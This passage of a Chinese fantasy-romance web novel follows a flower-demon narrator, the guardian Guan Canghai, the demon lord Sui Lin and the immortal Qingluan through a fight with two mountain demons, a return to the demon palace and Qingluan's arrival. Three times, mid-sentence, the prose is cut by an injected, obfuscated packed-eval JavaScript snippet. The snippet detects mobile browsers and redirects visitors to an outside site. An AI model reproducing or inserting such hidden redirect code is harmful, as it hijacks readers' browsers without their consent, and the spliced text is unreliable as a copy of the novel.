我惊诧地瞪大眼,却发现这石妖是认真的,而且做派比起强盗,更像个情窦初开的二愣子。 没想到居然被如此直接地告白了,我一时愣住,看着石妖没个正经人样的大脸盘子。 不怪我呆住,因为从小到大,这样直白与我说喜欢,要对我好的人,他是第一个。就算只是嘴上说说,好像也挺让人稀罕的。因为也没人对我说这种想对我好的漂亮话。 总算明白,为什么一些缺爱的人容易被打动了,这很难防。 如果我是一个经常被追求的人,那肯定会有一定的应对经验,也不会觉得感动新奇,有道是物以稀为贵吧。 “小花妖,那些妖丹我和蝎子哥分了后,我那份给你吃,我们在这山里过日子好不好。我是石妖,你是花妖,我一定能养你,给你养分,让你漂漂亮亮的。” 从石妖细致的肢体语言中,感受到了他对我的小心翼翼,难怪在被俘虏的过程中,他抱我回来时很克制。 被喜欢的感觉挺爽的,就因为被喜爱着,所以能得到优待。 意识到这份特殊,我对石妖的感官也稍微好了点,毕竟没法去讨厌喜欢自己的人,于是我坦诚相告。 “我交出东西,你们给我毒雾的解药,放我走好不好,那位也不是我的情郎,是我好朋友,也是魔宫的护法观沧海,你们难道没听过这个名字吗。得罪他可是要死的,趁着还没犯下大错,去赔罪吧。” 听到观沧海和护法,蝎子精和石妖面色一变,一时拿不定主意。 “随璘手下妖魔将领不少,但这个凡人护法几年前就名声大噪,但凡混妖魔界的,都知道观沧海。蝎子哥……” “别听她瞎扯淡,要真是观沧海,怎么会被毒雾给迷晕,那么轻易就中招,小花妖撒谎,别以为我弟喜欢你就能乱讲!” 蝎子精打断石妖有些退缩的话语,指着我放狠话。 “她没撒谎,我是观沧海。” 只是这狠话才放完,少年就从妖洞的黑暗中走出来,嵌在山壁中的烛光照在他的面庞上,雪白的肌肤有了几许暖色。 蝎子精大惊失色,当即想挟持我当做人质,只是观沧海出手更快,刀光如虹,强劲迅疾地平削而出。 为了保住自己的蝎尾,蝎子精只得仓皇收招,石妖用岩层做出数尺厚的岩壁为盾牌,又凝出百斤的石球砸向观沧海。 在这混乱中,蝎子精缩小身形,钻入地缝中想逃,石妖还惦记着想把我打包,就这片刻的分神,就被观沧海一刀砍掉向我伸过来的右臂。 巨大的石块手臂砸落在地,散成碎石,我被观沧海一手揽过,调换位置。 当我安全地站在后方时,少年翻转长刀,趁势又卸掉石妖的一条腿,随后刀尖刺入地缝撬动地层。 石妖挣扎着还想进攻,观沧海将一张符咒贴在石妖头上制止他再动弹,扎入地里的长刀引起震动,强劲的术法震碎地面,将钻入地缝里的蝎子精给挤出来。 眼看逃脱无门,蝎子精打算背水一战,从巴掌大小瞬间变为数丈大,冲破了妖洞的一角,简直像是一头巨怪。 看到对手变大,观沧海不为所动,甚至觉得目标更清晰了。 几招过后,被胖揍一顿的蝎子精跪在了我们面前。我看局势稳定了,这才走过去。 观沧海从蝎子精手里拿到毒雾的解药先是逼迫石妖吃下去,看没有不良反应后,这才给我重新倒了一颗。 我服下解毒药,“护法,你没有吸进毒雾?” “嗯,昨晚就发现被盯上了。但这俩小妖很谨慎,一夜都没现身。” 昨晚我还和观沧海谈心了,原来那个时候就被暗中观察,所以观沧海才守夜。但早上的时候,他却什么都不对我说,还和我交换值班了。 想了一圈,我拍他胳膊一下,“护法拿我当诱饵钓鱼啊。” “不用你钓,他们不出来。” “你那么厉害,主动出击也能抓到吧。” “我离开浮木龟去抓他俩,你一个人在船上若是被别的妖带走,更麻烦。” “……那你至少可以和我通通气嘛。” “既然你是我朋友,做一下诱饵也无妨吧。” “好吧,至少我也算有用了。” “不过护法,你要杀了他俩吗?”我看了眼被定住的石妖,心里有那么一点点的不舍。 我不是喜欢石妖,而是第一次被这么热烈的告白,舍不得这份特殊对待,也没被对方怎么伤害,所以不想他死。至于蝎子精,那倒无所谓了。 观沧海用刀尖敲着石妖的脑壳,看了我一眼,“你舍不得他死?” “……也没对我做什么坏事。” “因为他说喜欢你,想让你当夫人,心软了?” “原来你都听到了啊,来得还挺早。我这不是被表明心意了,有点心软也正常。非要杀一个的话,你杀这个蝎子精。” 蝎子精:“喂!我也没对你做什么啊!那我也说喜欢你,你让护法别杀啊!” 我:“……还是死吧你。” 蝎子精:“别啊!” 石妖着急地喊着:“求求了,也别杀蝎子哥,我们其实就想要妖丹而已,然后看到你了,我还想讨你做老婆。” 观沧海将贴在石妖身上的符咒撕掉,对方能动了,也马上乖乖地跪下,断手断脚处开始有细小的石块凝结,看样子还能长回去。 观沧海收刀入鞘,这是不杀的意思,我们几个都松了一口气。 “你俩在这地界待了多久?”他问。 石妖恭敬地回答:“三百年,算是这里最大的妖精。” “那就继续管理这片山头,将妖洞规模扩大,招收附近的闲散精怪,你俩效忠魔尊随璘,我就扶持你俩。” 原来观沧海不杀他俩,是打着这个算盘,我听明白后,这两个妖怪也一副惊诧的样子。能被魔尊收编,对他俩来说是个巨大的诱惑,连忙磕头表示忠心。 “小妖誓死追随魔尊和护法,以后一定尽心尽力!” 观沧海:“若有二心,我必定诛灭你俩。” 蝎子精、石妖战战兢兢:“不敢!绝无二心!” 观沧海走过来,低头在我耳畔轻声问道:“送你的妖丹,能给我十颗吗,赏给他俩,以后好帮忙做事。” 因为妖丹送了我,就是我的东西了,现在想用来收买人心,观沧海就和我询问,而不是直接拿走。 我当然愿意给出十颗,毕竟我所有的妖丹都是他送的。 两个妖怪没想到还能得到妖丹奖赏,一下子喜出望外,感恩戴德,本来一开始的目标也只是抢这个增加修为。 收服了两个忠心小弟,蝎子精也顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797712|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从了许多,蝎子尾巴简直要像小狗尾巴那样摇晃起来,他将我和观沧海一路护送出山林。 “护法放心,这些地界,我和石弟一定收拾好,尽早成为一方妖王,好为魔尊效力!”蝎子精诚恳地保证道,然后又看向我,“姑娘对不住,还好我和石弟没犯下大错,还请多包涵。” 我摆手表示没事,然后看向一路上有些失落的石妖。 石妖也看向我,害羞地抖落出一些碎石子,他用新长出来的手挠挠头,说道:“对不起,姑娘你,既然和护法不是情人,那能不能和我呜呜呜……” “瞎说什么呢!姑娘肯定是护法的随从啊,有你想的?恭送护法!这一片地盘都会畅行无阻了,绝不会再有别的小妖打主意!” 石妖的话被蝎子精用尾巴堵回去了,后面是一个字都没蹦出来。 我和石妖挥挥手道别,转身跟着观沧海离开,走了几十步,我好奇地回头看一眼,发现石妖还在原地注视。 哇,这就是被喜欢的感觉么,挺让人上瘾。有些人一直谈恋爱,没有空窗期,也是因为享受这种感觉吗? 发现我回头看,石妖傻傻地蹦跳起来,对着我加大力度地挥手。 “要是舍不得,你留下做石妖夫人?” 身旁的人忽然出声,我立马回过头,“不要,我不是喜欢他。” “不喜欢,你对他留情,又回头看什么。” “哪有留情,除了喜欢和不喜欢,还有别的情绪。他喜欢我,我虽然不喜欢他,但肯定不讨厌,还会觉得他眼光不错!” “哦。” 他一个字打发我,步伐快了起来,我连忙跟上去。山里积雪深厚,我像拔萝卜一样拔腿,摔在了半米深的雪坑里。 观沧海发现我没跟上,去而复返,我在坑里对着上面的人尴尬一笑,“这雪太厚了,都看不到哪里有坑。” “不能跟着我的脚印走吗。” “我是跟着了,但崴了一下,我有多弱,护法是知道的。” 他将长刀别入腰间,对着坑里摔得四仰八叉的我伸出双手,“两只手握住。” “怎么要两只手?” “一只手,怕把你拉脱臼。” “噢!” 我伸长两只手臂握上他的手,不知道是这雪更冷,还是他的手掌更冷。 少年缓慢地将我从雪坑里带出来,等我站稳后,我抖落身上的雪渣,拽住了他的刀鞘末端,这样才不会再踩坑。 从深山里出去,我们回到了浮木龟,先前他给我的御火符,我终于能够使用,将冰冻的河面融化出一条水路,船儿终于又行进起来。 经过这么一个小插曲,我早就又饿了,赶忙做起午饭。 哼着小曲等着猪蹄炖好,我坐在板凳上盯着火势,吃几颗蜜饯解解馋。 “心情这么好。” 观沧海主动搭话,我高兴地回应,“好友,你要知道,被人真诚地说喜欢,是一件挺让人高兴的事。至少我的虚荣心也满足了。” “是么。” “对啊,你想想看魔尊,那么多男宠喜欢她,她是不是每天都很快乐呀。” “你想像她那样吗。” “谁不想啊!” 他看我的表情多了一丝探究,随后又恢复一脸了然的神色,“毕竟你朋友都一堆。” 朋友和男宠完全两码事,你别划等号! “护法,有没有姑娘和你表明心意啊?” “除去魔尊派来的,没有。” “也是,你这么宅,别说女色了,朋友都没有,我懂。”我点点头,又八卦道:“那你有没有喜欢的姑娘?” “没有。” “没事,以后解决了六魔残念的事情,你就可以找对象了。” “你呢,有没有喜欢的人。” “有。” 眼里闪过一丝愕然,观沧海凝眸看着我表情,“当真?” “喜欢我自己算不算啊,哈哈哈哈哈哈。” “……” 20.20 在第三天的早晨回到了八方城,回来的路途比去的时候多用了时间,也经历得稍微多一些,好在是有惊无险,还挺好玩的。 观沧海带着我进入了魔宫,我的宿舍也在这里面,他将我送到侍女所住的院子,“今日休息一天,明天再来。” 没想到出差回来还能得一天假,遇上这种领导就烧高香吧。不过我觉得我俩现在的关系比之前好了,所以我没听他这个安排。 “护法,你要去见魔尊吧,我也要去。出去这么些天,说不定她也想我了呢。”我对着他龇牙一笑。 “赶路回来,你不累?” “昨晚睡得很好,不累。” “那一起去见魔尊吧。” 旭日堂。 随璘一般都是在这里处理公务,召开大会,知道是我俩过去,随璘立即召见。 以前也在旭日堂伺候过随璘,她有时候处理了一些公务,就会让男宠来给她捶捶背,捏捏肩。今天过去,倒是没看见一个美男子。 “回来啦,好玩吗?” 从里间走出来,随璘往首座上一坐,对着两旁的椅子指了指。我行礼后,跟着观沧海往旁边坐过去。 我看了看上首的人,女人慵懒地靠在椅背上,看得出心情很好,嘴角的笑容根本不藏。 少年将处理沱河地界的事情仔细讲明,又将路上收服蝎子精、石妖的事也交代了,算是有详有略,绝对忠心了。 “办得真漂亮,不愧是我家护法,赏赐让人送你府上去。” “多谢魔尊。” “那你和小星星怎么样啊?”随璘的眼神在他和我之间转了一圈。 表面上这个问题听起来和公务没有半毛钱关系,但实际上这可关乎三界的安危啊!我正想要回答一番,身旁的人又开口了。 “还好。” 如此简短有力的回答,和刚才对公务的阐述差距太大,随璘肉眼可见地扁嘴,“木头啊木头,你别说,来,小星星你说。” 被手动闭麦的观沧海只好闭嘴,然后眼神看过来,我先是对他笑一笑,这才对着随璘回答。 “这次路上护法对我很是关照,虽然我法术低微,但也算是成功跟了一路,没有添太多的麻烦。经过这次的事情,我觉得我和护法是知心好友了!” “真的真的?”随璘明显来了兴致。 “嗯,护法挺会养花的!很感谢他一路上对我的照顾。” 听了我的汇报后,随璘满意极了,本来就心情好的她又决定赏赐我一些东西,一并送到观沧海的府邸。 我连忙说道:“魔尊,我不住在护法家里,我还在侍女的那个院子呢。” “迟早要住过去的,赏赐就送那里,以后你自己去他家拿。” 就连赏赐也是助攻的一环吗,不愧是你! “说一下,两日后,本尊要去天界一趟。”随璘交代了一声。 观沧海微微蹙眉,“去天界,为什么不和我商量。” “别紧张,上去谈点事情。” “谈什么。” “就是妖魔界地盘的事情,你也知道内忧外患,还有一些妖魔推崇上古六魔的做法,巴不得天下大乱。” 观沧海又问:“辞镜先生知道吗。” “知道啊,因为天界有青峦在,他觉得我是专门过去看他的,又和我生气了呢。” 观沧海直接问道:“那你有这个私心吗。” “有的。” “……” 少年叹了口气,也没法去管对方,只说道:“我跟你一起去。” “不用啊,我就带几个侍女、随行官和记录官上去,带你干嘛。” “我要保护你。” “那是天界,是合作方,不会对本尊怎么样的。你作为护法要镇守八方城,免得本尊不在出现什么事。” 如果观沧海直接跟着她去天界了,那不就是回家了,可惜随璘拒绝他的跟随。 “既然我不去,那辞镜先生也不和你去?” “他最近气性很大哦。” 观沧海有点幽怨地看着满脸期待的随璘,“魔尊,你有没有想过,是你冷落他了。” “他都是九千多岁的妖魔了,要学会宽心。” “……可你以前很在乎他的心情。” 随璘略微蹙眉,她像是被观沧海的质疑弄得怔住,随后又轻描淡写地说,“他以前也不会频繁与本尊置气,心胸也更宽广。你和小星星休息去吧。” 显然随璘是不想和我俩再谈了,我俩走出旭日堂。 “护法,你是不是担心魔尊和辞镜先生。” “嗯,以前两个人不会经常闹脾气。” “可能……魔尊对青峦仙尊动真心了。” “他不过是脸好看了点。” “那不是一般好看啊。”第一神器都照着他的脸整的啊! 听到我这夸张的语气,观沧海凉凉地看我一眼,我立即收声不提,跟着他一路走出魔宫。 “你不回自己院子?”他看我跟上去,问道。 “你给我放假,那我用这个假期来找你玩,不是更好!” “……” “我今天就是以朋友身份,去你家做客咯。” 去了观沧海的府邸,前院里堆的雪人有了一点点融化的趋势,不过后面几天还会有雪,应该能坚持到过年。 看我们回来了,家里的小小妖精们都聚拢过来,我从乾坤袋里拿出果干蜜糖分给它们吃。 这些小家伙拿了东西又散开,因为有它们在,家里也没有蒙尘,就像扫地机器人似的。 随璘赏赐的东西也送来了屋子,观沧海对于自己的几箱财宝都不在意,搬起来就放进杂物间。送我的两口箱子里有金银灵石和漂亮衣物钗环,真是送到我心坎上了。 我搬不动这两口箱子,眼巴巴地看着观沧海。 “护法,能不能把这两个箱子搬进离你近一点的空房间里呀。” “你用乾坤袋装着,带回去。” “可是我带这么多珠宝,万一被打劫了怎么办。而且我的宿舍也人来人往的,不适合藏这么多好东西。” 观沧海重复道:“你的房间,人来人往?” “对啊,宝珠她们都是和我一起的侍女,大家没事了就在我房里吃瓜聊天咯。” “也是,你朋友多。” 将两口箱子垒起来,他就这么轻松地搬起来去找房间置放,我也一路跟着。 “护法,快要过年了,到时候我们买些门神、窗花、灯笼布置一下吧。” “为什么。” “图个热闹,讨个吉利。” “没必要。” “要的要的,好歹你也是凡人吧。” “你一个牡丹小妖,为什么一直说凡人。” “凡人勤劳可爱啊,醉人楼的东西又好吃。” 他没有明显答应,但也没有拒绝,我就知道这事儿能成。 下午,我自己出门去买菜。早市的时候卖菜的比较多,这个时间去没买到多少新鲜菜,于是我拐个弯去了醉人楼打包晚饭。 过得半个时辰,我拎着食盒回去,竟是看到辞镜在大厅里坐着,观沧海与他在一起喝茶。 男人烟灰色的长发半束,蓝色眼眸如浮冰碎玉,他将茶盏放下,温柔的目光转向我。 “辞镜先生。”我有些惊讶,无事不登三宝殿,肯定有问题。 “小星星。” “正好,辞镜先生来了,我们一起吃晚饭吧。我买了醉人楼的菜哦!” “不必了,我现在就走。” “哎?不留着吃饭了吗。”我赶紧给观沧海使眼色,让他留客。 但是观沧海无视了我的眼神,他起身将辞镜送出门。等到大门关上,我拎着食盒过去。 “辞镜先生有什么事吗。” 观沧海看向我,似乎在思考要不要和我讲。 “不能说就算了,我们去吃饭吧。”有的瓜不能随便吃,我还是知道的。 他还真就不说了,我俩去了灶房吃晚饭,对于我直接打包外卖的做法,观沧海也没说什么。 天黑之前,我洗了碗,他收拾桌子,我将碗筷放入食盒,说道:“那我就回去了,明天见。” “一起。” “啊?都要天黑了,你出门有事吗。” “送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802195|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你回去。” 我差点倒吸一口凉气,以前好像是没有这个待遇的,看来变成朋友了,他还是更上心了嘛。 和我一块去醉人楼送还了食盒,我俩走在华灯初上的街头。因为凡人快过年了,妖魔界这边也卖一些年货,毕竟这里还有人妖结合的家庭所在。 “护法,到时候我们出来买年货啊。” “你自己买。” “我买去你家布置,就这么说好了。” “……” 将我送到魔宫的侧门,守卫看到是他,便低头行礼。观沧海微微颔首,看着我走上台阶。 跨进门槛,我又对着他挥挥手,“明天见。” 直到我关上门,才从缝隙中看到他转身离去。 回了侍女所在的院子,出差这么久,终于回到我的小窝,进了门就想打水洗澡,我被坐在床上的随璘吓一跳。 “魔尊!” “嗯哼,看得出来,这一趟回来你和沧海真的亲近不少嘛。”她笑意盈盈地看着我。 正好我是有事情要问她的,我几步走到她面前,“护法知道自己身体里有六魔残念。” “噢~他把这个都告诉给你了。”语调微扬,她显得有些惊喜。 “那为什么你不告诉他,他的前世是天界的上阳战神呢?” “他体内的六魔也会影响他,使得他下意识排斥,因此对于天界,他也是不喜的,所以你的身份我没告诉给他。既然提前世捞不着好,还不如不提,也就没必要带他去天界。” “这样哦,不知道他前世是什么性子。我不会有危险吧。” “不会有危险,你若是好奇他的前世?去天上问问不就知道了。” “我以后有机会就去问。” 拉我过去坐下,随璘拍拍我的肩膀,亲昵地问,“我家这小子还不错吧,是个实心眼的。” “很有责任心,魔尊养得很好!我的任务目前顺利,魔尊见了天帝天后,也可以这样转达。” “行啊。” 自己的事交代好了,我也八卦一下她的事,“魔尊,你去了天界,要见青峦仙尊吗?” “哎,是想见他。不过上次把他抓来,也不知道人家生不生气,我还亲他嘴。” “哇哦!”刚激动一声,脑子里闪过辞镜的脸,我停止磕糖,说道,“今天在护法家看到辞镜先生了。” “他去找沧海做什么。” “喝茶吧,留他吃晚饭,也不吃。” “那就不管他了。” “真的嘛?你俩最近吵架好像次数还挺多。” “大概看他有些腻了吧,毕竟千年了。” 真是无情的话!好渣渣! “别操心我的感情事了,小星星,你抓紧沧海就行。” “好的,对了,我这里有点吃的,魔尊帮我带去给万相战神好嘛。” “哟,和云喜雨关系不错?” “嘿嘿,多抱大腿没坏处,谢谢啦。” 两日后,随璘只带着六个人去了天界,观沧海作为护法镇守魔宫,而辞镜没有去天界,也不在魔宫,独自隐居在深山里。 因为两人争吵变得频繁,我在宝珠那里都能听到一些闲言碎语,总归是说辞镜和随璘关系生分了,不知道是谁出了问题。 爱的时候是真爱,不爱了也是现实。 因为这几天观沧海都在魔宫处理公务,我也就不用去他家,在宫殿里就能看到他,还顺便帮忙搬运文书,磨墨,收拾书房。 忙碌的日子总是过得很快,几天后,随璘回来了,但她这次将青峦仙尊带下来了,不仅仅是我震惊,一向冷静的观沧海也神色诧异。 青峦没有带别的仙侍,只有自己过来,但明显是自愿的,并不是被劫持。 随璘的喜悦之情是个有脑子的都能感受得到,她不仅将青峦带来魔宫,还在当天就宣布,青峦是下界来帮忙改革变法的,目的是让妖魔界学会一些种植养殖技术,让大家能吃饱饱,不要为了一块肉就打死打活的。 一副不食人间烟火的仙尊,居然还会种菜养猪?那不是凡人的特长吗? 我一直以为他只是个精美的花瓶男! 21.21 妖魔界的中心都城叫八方城,魔宫也是建立在这热闹处,但走出八方城,其他地方就很乡土原始。妖魔们也不像凡人那般勤劳,会去开垦良田种植,除了都城比较繁华,别的地方就很落后。 简单来讲就是需要教化,像教学生一样教导他们。 我和观沧海从沱河流域坐浮木龟回来,看到不少肥沃的土地闲置,妖王们没想到要开垦利用,确实可惜。 之前群龙无首的时候,妖魔界很动荡,隔三差五就有抢地盘厮杀的,妖王魔主谁也不服谁,大妖厮杀小妖遭殃。随璘上位以后,到底是把大局给稳定下来了,现在她有心改革,照顾底层小妖,也是好事。 只是没想到天界那么大方,愿意把青峦送下来帮忙。 随璘下令给所有的妖王魔主,让大家派遣务农好手过来和青峦学习技术,谁要是敢敷衍了事,或者举荐庸才,随璘亲自过去摘对方脑袋。 青峦的住处还在寻香苑,随璘派遣几十名工匠连夜修建学堂,为的就是方便青峦教学。 只要是青峦的要求,随璘全部都满足,这份特殊对待中的宠爱,所有人都能感受得到,甚至那些被冷落的男宠也知道了。 下午,我被随璘单独叫去她书房。 “青峦要来这里改革,他没带别人来,小星星你也是天界的,有空去和他聊聊天。” “我?我去找青峦?” “怎么,不行么。本尊也没法天天守着他,虽然本尊爱玩,但事情还是要做的。” 我实话实说道:“他当初可是差点被当做奖品赏给我了,只要我清除护法身体里的六魔残念,天后就赐婚给我和青峦呢。” “嘴上说说而已啦,本尊都不在乎。你俩是老乡,你去和他交朋友,他也会高兴的。” “真的么,那可是第一美男,很高冷的吧。” “他比沧海好接近,你试试。” 听她这么讲,我也没法推辞,和第一美男打交道,我有什么不愿意的,超乐意的。 “哦,那我可以随意出入寻香苑是吧。” “嗯。” “魔尊,不去看看辞镜先生吗?” 听到我提这个,随璘充耳不闻,只说:“他就在山里住着吧,反正一见本尊就生气,那本尊还是不去碍他眼了。” 随璘回来魔宫了,观沧海就不需要经常往这里跑了,又在自己府邸宅着修炼。 他对我的上班情况向来都是不怎么管的,所以这次中午的时候,观沧海在竹林练功,我就离开了,去魔宫的寻香苑找青峦。 以前青峦被绑架到这里时,我都没和他打过招呼,但现在不一样了,他是天界派来的和平使者,也是重要的技术人员。 我带着醉人楼的糕点去找他,青峦正好上完课,让那些学生们去菜地里做实验。 我没有出声打扰,而是在旁边看着。然后我发现,总有一些妖怪因为青峦的貌美而分心,不管男妖女妖都是,看着对方就一脸花痴。 其实这种感觉我懂的,毕竟我看着青峦也会一脸欣赏,恨不得变成蜜蜂在他身边嗡嗡嗡。 礼貌观看一刻钟,看到青峦回房间研究农书,我带着几分不安,赶紧跟过去敲门,“青峦仙尊!” 豁出去了,就算高冷美人很难接近,也要多亲近一下。一来我们都是同事,二来他可是天后的侄儿,三来随璘也让我多接近的! 本以为会吃个闭门羹,没想到门很快打开了,俊美无俦的男仙出现在面前,看得我眼睛一亮。 “仙尊好,我是护法观沧海身边的侍女姜星辰,来探望你的!” 看到我拎着竹篮这么说,银发紫眸的大美人先是眼睫一颤,随后退开一步让我进屋。 等我进来了,他将门窗都关了,确保周围没有耳目,他才开口道:“姜仙子。” “声音真好听,你这么喊,感觉我都是大美女了!” “姜仙子是美人。请喝茶。” 听我在这臭美,青峦还一本正经地补上一句。以前和他没怎么接触,现在发现这人并不是生人勿近的类型,虽然看着冷冰冰,但我居然直接进门喝茶了,随璘说得对,确实比观沧海还好接触。 “仙尊,我在这里的身份只有魔尊和辞镜先生知道,你就叫我星辰好了。” “好的,星辰。恭喜你与沧海成为朋友。” “仙尊,你叫护法的名字还挺亲切的,你和他前世认识吗?” “前世我俩是好友。他经常找我喝酒,在我行宫玩。” 意外吃到大瓜,我先前还打算去天界打听观沧海前世的事情,真是睡觉就有人递枕头。 说不定青峦还能给我打辅助,友情这条线还能突飞猛进,从一般朋友进化到好朋友。 克制住嘴角的笑意,我说道:“还以为仙尊高冷,深居简出,没什么朋友,没想到你和护法上一世关系这么好?” “嗯。” “仙尊方不方便讲讲护法上一世的事,你俩怎么认识的,我也好参考一下,看看我接下来还要怎么做。” “我的经验或许算不得数,毕竟那是前一世的沧海,这一世他与以前大有不同。” 被青峦这么一提醒,还想着照抄满分答案的我不嘻嘻了,虽然是同一个人,但境况不一样,的确要考虑到。 本来观沧海受到六魔残念影响,对前世和天界下意识的抵触,我要是一个没弄好,说不定积攒出来的好感都要被清空。 “仙尊说得有理,那我就听听护法前世的事情可以吗,稍微有些好奇。” “可以。” 我赶紧做出认真听的架势。 “沧海作为战神,护佑天界安危。曾经救过我几回,我为答谢他,送过一些自酿的酒,后来他闲暇时刻就来找我饮酒喝茶,来我的住所休息。” “他没有自己的宫殿吗。” “有,只是我的住所冷清,几乎无人打扰,所以被他当成了小憩的地方。” 把你当客栈吗。 脑子里冒出这个吐槽,如果一个人去别人家能得到放松,那至少说明前世的观沧海对青峦是很放心的,绝对的交心朋友。 “护法喜欢喝酒吗?”可我不会酿酒啊,难不成要和青峦学?可我学会了酿酒,万一这一世的他不喜欢呢。 “还好,不当值的时候,他会喝一些。这一世他喝吗?” “普通应酬的时候喝,平日里几乎不喝。” “这一世沧海已经不认识我了,此前我被抓来,也没与他交谈,我昨日与他打招呼,他也回应得很冷淡,似乎还有点排斥我。” 青峦说出这话时还显得有些神伤,但言语轻柔,并没有责怪的意味。 “仙尊别难过,毕竟护法没有上一世的记忆,体内残念让他排斥天上的人。等清除了残念,应该能找到恢复前世记忆的方法吧,那时候他会回天界的!” “但愿如此,我在这里的期间,星辰有什么需要帮助的,直说无妨。” “好啊,我绝对不会客气的!要是你有什么要帮助的,我能做到也会帮。” “好。” 我本来还想和青峦八卦一下他对云喜雨的看法,毕竟他可是多角恋里的核心人物。 只是他忽然做了一个噤声的手势,想说话的我拿起盘子里的糕点塞进口,没几秒,敲门声响起。 “仙尊,大家开垦的菜土还请过目。” 原来是学生们干完农活了,青峦起身开门,我也跟着他出去。由于教导内容繁多,他又是个心细认真的老师,接下来都没有时间和我聊天,我也就不打扰他了。 但从这天以后,我在观沧海那边上完班了,得了空闲就会来找青峦。但他很忙,身边也有很多人围着他询问种植技术的事,所以我没什么机会和他再聊天上的事,只能看着大家种菜养鸡。 而且,还有一些时候,随璘也会来找青峦聊天,于是能分给我的时间就更稀少了。 虽说想尽可能多问观沧海前世的事抄答案,但我也不强求了,反正考题都变了。 前世的战神观沧海初步判定,比现在的魔宫护法要阳光一些。 今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806837|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养殖小课堂下课,过来围观的我收获了一筐白萝卜,一条鲤鱼,还有一篮子鸡蛋,这算是吃学生的作业吗。 因为有妖法催发,成熟期缩短了很多,不过妖怪自己就被榨干了。 抱着这些菜,我听到青峦在教导学生们,不要用自己的法力去灌溉植物,饲养动物,这太损耗自己,也有可能让菜成精了。 我看着手里拎着的几个竹篮,都有点害怕这些菜跳起来对我说嗨。 “仙尊,明天你是不是休息?”等到学生散了,我过去找青峦。 “是,但我明日要与魔尊去郊外看农田。星辰有什么事?” “我是想邀你去买点凡人过年的年货,还有灯笼窗花那些,半个时辰就够了,你有空吗?毕竟你对凡人生活特别了解。” “沧海不去么?” “护法不去,不过我买了,可以去他家布置。” “我与魔尊商量下午去郊外,上午我陪你去,如何。” “谢谢!太谢谢了!” 约到了青峦明天去买年货,我美滋滋地拿着这些菜去了观沧海家。要是放在现代,我约到了大帅哥,肯定疯狂发照片装一把。 回了观沧海家,去灶房准备做饭时,我看到他已经在备菜了。我将竹筐放下,稀奇道:“我还以为护法在竹林那边修炼。” 他拿着菜刀,看着这些菜,“买的?” “不是哦!我告诉你,这都是仙尊的学生养殖出来的,今天就用这个做菜试试看。” “这么快就收成了,用了法术催熟是么。” “是哦,味道应该也不错。赶紧吃了,免得放久了真的成精。” 我把这些菜拿去清洗,然后放到砧板上,观沧海将萝卜削皮,瞥我一眼,“你这几天经常去寻香苑找他。” “嗯。” “他这是第二次来了,以前怎么不见你和他亲近。” 还以为观沧海不在意这个,可我又不能讲我们都是天界的,更不能说对方以前是我的赐婚搭子。 “我就是过去蹭课的。” “那你学到了什么。” “小牡丹不才,只学到了捡漏。”我笑嘻嘻地指着这些菜。 想到青峦说自己和观沧海上一世是好友,我思忖着,试探问道:“我明天要和仙尊去买年货,护法一起?” “砰。” 削好皮的萝卜被他一刀砍成两半,刀尖嵌入砧板中,观沧海的情绪变化是少,但该有情绪的时候,是能看得出来的。 “就你和他?” “嗯。”这不是还想邀请你么。 “魔尊不去?” “他上午和我,下午和魔尊。” 观沧海的眉头皱起来了,眼里聚起不快,“姜星辰,你不该这么频繁去接近他。” “护法,其实他人挺好的。” “与我何干。你明天不准和他去买年货。” “啊?我都约了他了。” “推掉。” 意外的强硬,这好像还是第一次?之前观沧海对我没什么命令的,看看他的脸色,再看看砧板上的萝卜,我吞了口唾沫。 “哦,那我吃完晚饭,去寻香苑找他说一声。” 听我这么说,他的脸色好了点,“不必亲自去,我用传音符。” “……” 我要是看不出观沧海对青峦的排斥,我就是白痴。 吃饭时,我偷偷打量观沧海的神色,以前都没踩到什么雷点,以至于我以为他没什么介意的。 “护法,你讨厌青峦仙尊吗?” “他让魔尊和辞镜先生关系不睦,我应该欢迎他么。” “可他也没做什么,事情的起因,也是魔尊将他绑过来才有了后续。” “这不重要,是他的问题。” “呃,我还以为你会讲理呢。” “理?我讲理,才没去杀他。” “……好端端干嘛说杀。” 观沧海将碗筷放下,眼神沉沉地盯着我,“为什么一直帮他说话。” 22.22 当场被质问,我看着眼前的观沧海,终于有了一丝他是我领导的错觉。 我是看过他冷脸施压的样子,现在对我这样只是毛毛雨,没有动真格的意思。 我往嘴里塞了一筷子的鱼肉,收回视线,接着又看向他,眼神坚定地说:“我觉得,你俩也许能成为朋友。” “你白天也做梦。” “护法,我认真的。” 我始终觉得前世的品性还是有在影响观沧海,既然前世是好友,今生也能继续交朋友吧。 “边吃边说嘛,你这样放下碗筷,我都不敢吃了。” “你不是吃得很香吗。” 